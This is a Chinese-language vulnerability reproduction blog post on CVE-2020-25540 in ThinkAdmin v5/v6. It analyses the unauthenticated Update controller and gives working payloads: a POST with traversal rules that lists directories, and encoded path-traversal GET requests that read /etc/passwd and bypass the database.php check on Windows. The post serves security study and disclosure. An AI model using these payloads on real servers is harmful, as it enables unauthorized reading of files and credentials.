• 【漏洞复现】ThinkAdmin v5和v6 未授权列目录任意文件读取(CVE202025540)


    ThinkAdmin v5和v6 未授权列目录/任意文件读取(CVE-2020-25540)

    漏洞简介

    ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统。ThinkAdmin v6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。

    影响范围

    Thinkadmin ≤ 2020.08.03.01

    漏洞分析复现

    app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:

    namespace app\admin\controller\api;
    use think\admin\Controller;
    use think\admin\service\InstallService;
    use think\admin\service\ModuleService;
    

    version()可以获取到当前版本:2020.08.03.01,≤这个版本的都有可能存在漏洞

    URL:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/version

    列目录

    node():

    /**
    * 读取文件列表
    */
    public function node()
    {
        $this->success('获取文件列表成功!', InstallService::instance()->getList(
            json_decode($this->request->post('rules', '[]', ''), true),
            json_decode($this->request->post('ignore', '[]', ''), true)
        ));
    }
    

    直接把POST的rules和ignore参数传给InstallService::instance()->getList(),根据上面的use引用可以知道文件路径在vendor/zoujingli/think-library/src/service/InstallService.php:

    /**
     * 获取文件信息列表
     * @param array $rules 文件规则
     * @param array $ignore 忽略规则
     * @param array $data 扫描结果列表
     * @return array
     */
    public function getList(array $rules, array $ignore = [], array $data = []): array
    {
        // 扫描规则文件
        foreach ($rules as $key => $rule) {
            $name = strtr(trim($rule, '\\/'), '\\', '/');
            $data = array_merge($data, $this->_scanList($this->root . $name));
        }
        // 清除忽略文件
        foreach ($data as $key => $item) foreach ($ignore as $ign) {
            if (stripos($item['name'], $ign) === 0) unset($data[$key]);
        }
        // 返回文件数据
        return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
    }
    

    $ignore可以不用关注,他会透过_scanList()去遍历$rules数组,调用scanDirectory()去递归遍历目录下的文件,最后在透过_getInfo()去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。

    /**
     * 获取目录文件列表
     * @param string $path 待扫描目录
     * @param array $data 扫描结果
     * @return array
     */
    private function _scanList($path, $data = []): array
    {
        foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
            $data[] = $this->_getInfo(strtr($file, '\\', '/'));
        }
        return $data;
    }
    /**
     * 获取所有PHP文件列表
     * @param string $path 扫描目录
     * @param array $data 额外数据
     * @param string $ext 文件后缀
     * @return array
     */
    public function scanDirectory($path, $data = [], $ext = 'php')
    {
        if (file_exists($path)) if (is_file($path)) $data[] = $path;
        elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
            $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;
            if (is_readable($realpath)) if (is_dir($realpath)) {
                $data = $this->scanDirectory($realpath, $data, $ext);
            } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {
                $data[] = strtr($realpath, '\\', '/');
            }
        }
        return $data;
    }
    /**
     * 获取指定文件信息
     * @param string $path 文件路径
     * @return array
     */
    private function _getInfo($path): array
    {
        return [
            'name' => str_replace($this->root, '', $path),
            'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),
        ];
    }
    

    读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node

    POST:

    rules=["/"]
    

    也可以使用../来进行目录穿越

    rules=["../../../"]
    

    演示站:

    任意文件读取

    get():

    /**
     * 读取文件内容
     */
    public function get()
    {
        $filename = decode(input('encode', '0'));
        if (!ModuleService::instance()->checkAllowDownload($filename)) {
            $this->error('下载的文件不在认证规则中!');
        }
        if (file_exists($realname = $this->app->getRootPath() . $filename)) {
            $this->success('读取文件内容成功!', [
                'content' => base64_encode(file_get_contents($realname)),
            ]);
        } else {
            $this->error('读取文件内容失败!');
        }
    }
    

    首先从GET读取encode参数并使用decode()解码:

    /**
     * 解密 UTF8 字符串
     * @param string $content
     * @return string
     */
    function decode($content)
    {
        $chars = '';
        foreach (str_split($content, 2) as $char) {
            $chars .= chr(intval(base_convert($char, 36, 10)));
        }
        return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
    }
    

    解密UTF8字符串的,刚好上面有个加密UTF8字符串的encode(),攻击时直接调用那个就可以了:

    /**
     * 加密 UTF8 字符串
     * @param string $content
     * @return string
     */
    function encode($content)
    {
        [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
        for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
        return $chars;
    }
    

    跟进ModuleService::instance()->checkAllowDownload(),文件路径vendor/zoujingli/think-library/src/service/ModuleService.php:

    /**
     * 检查文件是否可下载
     * @param string $name 文件名称
     * @return boolean
     */
    public function checkAllowDownload($name): bool
    {
        // 禁止下载数据库配置文件
        if (stripos($name, 'database.php') !== false) {
            return false;
        }
        // 检查允许下载的文件规则
        foreach ($this->getAllowDownloadRule() as $rule) {
            if (stripos($name, $rule) !== false) return true;
        }
        // 不在允许下载的文件规则
        return false;
    }
    

    首先$name不能够是database.php,接着跟进getAllowDownloadRule():

    /**
     * 获取允许下载的规则
     * @return array
     */
    public function getAllowDownloadRule(): array
    {
        $data = $this->app->cache->get('moduleAllowRule', []);
        if (is_array($data) && count($data) > 0) return $data;
        $data = ['config', 'public/static', 'public/router.php', 'public/index.php'];
        foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";
        $this->app->cache->set('moduleAllowRule', $data, 30);
        return $data;
    }
    

    有一个允许的列表:

    config
    public/static
    public/router.php
    public/index.php
    app/admin
    app/wechat
    

    也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:

    public/static/../../1.txt
    

    而database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:

    public/static/../../config/database"php
    

    对应encode()后的结果为:

    34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

    Windows读取database.php:

    演示站读取/etc/passwd:

    GET:

    /admin/login.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s
    

    v5连允许列表都没有,可以直接读任意文件。

    漏洞修复

    临时方案:

    升级到最新版!

  • 相关阅读:
    CentOS 7基于Containerd部署Kubernetes v1.20.5
    【k8s记录】二进制安装kubernetes高可用集群全过程完整版v1.20
    前台后台$.psot交互
    $.ajax与$.post、$.get的一点区别
    layui与jQuery一起使用
    用Emmet写前端代码
    栅格布局的实现过程,容器到列的划分
    bootstrap环境
    2个爬虫
    think PHP5中,模板、控制器、JavaScript的url跳转重定向方法
  • 原文地址:https://www.cnblogs.com/forforever/p/15736574.html
Copyright © 2020-2023  润新知